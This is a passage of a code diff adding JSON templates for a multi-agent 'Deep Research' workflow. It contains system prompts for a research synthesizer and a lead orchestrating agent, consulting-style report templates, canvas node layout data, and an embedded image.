Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n \n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n \n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n \n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. Every insight must be aligned with the specified target audience and business focus.",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Research Synthesizer"
+ },
+ "dragging": false,
+ "id": "Agent:SwiftToysTell",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 817.0019318940592,
+ "y": 306.5736549193296
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:FairToolsLive",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 82.17593621205336,
+ "y": 471.54439103372005
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "A Deep Research Agent built on a multi-agent architecture.\nMuch of the credit goes to Anthropic\u2019s blog post, which deeply inspired this design.\n\nhttps://www.anthropic.com/engineering/built-multi-agent-research-system"
+ },
+ "label": "Note",
+ "name": "Multi-Agent Deep Research"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 249,
+ "id": "Note:NewCarrotsStudy",
+ "measured": {
+ "height": 249,
+ "width": 336
+ },
+ "position": {
+ "x": -264.97364686699166,
+ "y": 109.59595284223323
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 336
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Choose a SOTA model with strong reasoning capabilities."
+ },
+ "label": "Note",
+ "name": "Deep Research Lead Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:SoftMapsWork",
+ "measured": {
+ "height": 136,
+ "width": 249
+ },
+ "position": {
+ "x": 343.5936732263499,
+ "y": 0.9708259629963223
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Uses web search tools to retrieve high-quality information."
+ },
+ "label": "Note",
+ "name": "Web Search Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 142,
+ "id": "Note:FullBroomsBrake",
+ "measured": {
+ "height": 142,
+ "width": 345
+ },
+ "position": {
+ "x": -14.970547546617809,
+ "y": 535.2701364225055
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 345
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Uses web extraction tools to read content from search result URLs and provide high-quality material for the final report.\nMake sure the model has long context window."
+ },
+ "label": "Note",
+ "name": "Content Deep Reader Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:OldPointsSwim",
+ "measured": {
+ "height": 146,
+ "width": 341
+ },
+ "position": {
+ "x": 732.4775760143543,
+ "y": 451.6558219159976
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 341
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Composes in-depth research reports in a consulting-firm style based on gathered research materials.\nMake sure the model has long context window."
+ },
+ "label": "Note",
+ "name": "Research Synthesizer Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 170,
+ "id": "Note:ThickSchoolsStop",
+ "measured": {
+ "height": 170,
+ "width": 319
+ },
+ "position": {
+ "x": 1141.1845057663165,
+ "y": 329.7346968869334
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 319
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_1"
+ },
+ "id": "Tool:SlickYearsCough",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 446.18055927306057,
+ "y": 476.88601989245177
+ },
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
diff --git a/agent/templates/deep_search_r.json b/agent/templates/deep_search_r.json
new file mode 100644
index 0000000..4c34b63
--- /dev/null
+++ b/agent/templates/deep_search_r.json
@@ -0,0 +1,853 @@
+
+{
+ "id": 6,
+ "title": {
+ "en": "Deep Research",
+ "zh": "深度研究"},
+ "description": {
+ "en": "For professionals in sales, marketing, policy, or consulting, the Multi-Agent Deep Research Agent conducts structured, multi-step investigations across diverse sources and delivers consulting-style reports with clear citations.",
+ "zh": "专为销售、市场、政策或咨询领域的专业人士设计,多智能体的深度研究会结合多源信息进行结构化、多步骤地回答问题,并附带有清晰的引用。"},
+ "canvas_type": "Agent",
+ "dsl": {
+ "components": {
+ "Agent:NewPumasLick": {
+ "downstream": [
+ "Message:OrangeYearsShine"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n \n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n \n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in 